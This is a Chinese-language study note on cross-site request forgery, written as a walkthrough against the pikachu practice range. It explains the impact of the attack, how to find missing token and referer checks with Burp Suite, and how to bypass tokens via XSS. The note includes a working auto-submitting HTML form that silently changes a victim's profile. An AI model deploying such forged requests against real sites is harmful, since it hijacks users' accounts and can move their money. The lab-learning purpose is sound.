漏洞介绍
CSRF( Cross-site request forgery)跨站请求伪造,也有人写出XSRF。黑客伪造用户木匾用户的HTTP请求。然后将这个HTTP请求发送给存在CSRF的网站,有CSRF的网站执行了伪造的HTTP请求,就引发了跨站请求伪造
相对来说,比xss更具有危害性,
漏洞危害
攻击者盗用了你的身份信息,以你的名义发送恶意请求
以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品虚拟货币转账等
造成的问题包括:个人隐私泄露以及财产安全
漏洞本质
攻击者获取到重要的参数,成功构造一个伪造请求
id=1000 是给转账的人 count=3 是金额
决大部分的人,网站上都会记住密码,那么这个操作,就会
攻击流程
挖掘思路
后台功能模块:管理后台、会员中心、添加用户等
被引用的核心文件里面有没有验证token和referer相关的代码
没带token: 可以直接请求这个页面
没带referer: 返回相同的数据
案例
目标要存在CSRF漏洞
受害者,需要保持目标站点的活跃状态
受害者需要点击钓鱼链接
这里我以pikachu靶场为例
GET CSRF
登录的正常状态,用bp抓包,
抓到 get 的提交参数, 可以看到有提交值, 也没有token也没有referer
给这个拿出来
加上对方的IP地址,去让对方 点击这个连接, 这时会修改成 11111111
这时已经修改完毕,
post方式
POST是请求体,不在url中,自己构建一个表单,
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>csrf_post</title>
<script>
window.onload = function(){
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="text" name="sex" value="1"><br>
<input type="hidden" name="phonenum" value="HypeRong"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="hacker"><br>
<input id="postsubmit" type="submit" name="submit" value="submit">
</form>
</body>
</html>
可以放在自己服务器上,让对面去访问 ???
token
当我们刷新页面时Token值会发生变化
可以防御, 但是 xss攻击,可以获得下一次的token
bp工具里的 CSRF POC 模块 可以获得下一次token